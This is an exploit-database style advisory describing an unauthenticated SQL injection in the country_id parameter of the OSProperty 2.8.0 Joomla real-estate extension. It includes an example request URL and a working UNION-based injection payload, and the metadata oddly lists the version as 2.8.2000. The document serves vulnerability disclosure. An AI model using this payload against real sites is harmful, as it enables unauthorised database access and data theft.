OS Solution OSProperty 2.8.0 SQL Injection Vulnerability

vendor:

OS Property

by:

Volatile Minds

8.8

CVSS

HIGH

SQL Injection

CWE

Product Name: OS Property

Affected Version From: 2.8.2000

Affected Version To: 2.8.2000

Patch Exists: Yes

Related CWE: N/A

CPE: a:joomdonation:os_property

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2020

OS Solution OSProperty 2.8.0 SQL Injection Vulnerability

OS Solution OSProperty 2.8.0 was vulnerable to an unauthenticated SQL injection in the country_id parameter of the request made to retrieve a list of states for a given country. The version was not bumped when the vulnerability was fixed, but if you download after April 27th, you downloaded a fixed version. An attacker could exploit this vulnerability by sending a specially crafted request with a malicious payload to the vulnerable parameter. The payload used was a UNION query with NULL and CONCAT functions.

Mitigation:

Upgrade to the latest version of OS Solution OSProperty 2.8.0 or later.

Source

Exploit-DB raw data:

OS Solution OSProperty 2.8.0 was vulnerable to an unauthenticated SQL
injection in the country_id parameter of the request made to retrieve a
list of states for a given country. The version was not bumped when the
vulnerability was fixed, but if you download after April 27th, you
downloaded a fixed version.

http://extensions.joomla.org/extensions/extension/vertical-markets/real-estate/os-property

http://joomdonation.com/joomla-extensions/os-property-joomla-real-estate.html

Example URL:

http://172.31.16.51/index.php?option=com_osproperty&no_html=1&tmpl=component&task=ajax_loadStateInListPage&country_id=31


Parameter: country_id (GET)

   Type: UNION query

   Title: MySQL UNION query (NULL) - 2 columns

   Payload:
option=com_osproperty&no_html=1&tmpl=component&task=ajax_loadStateInListPage&country_id=31'
UNION ALL SELECT
NULL,CONCAT(0x716a627171,0x797774584a4b4954714d,0x7162717071)#



-- 
http://volatile-minds.blogspot.com -- blog
http://www.volatileminds.net -- website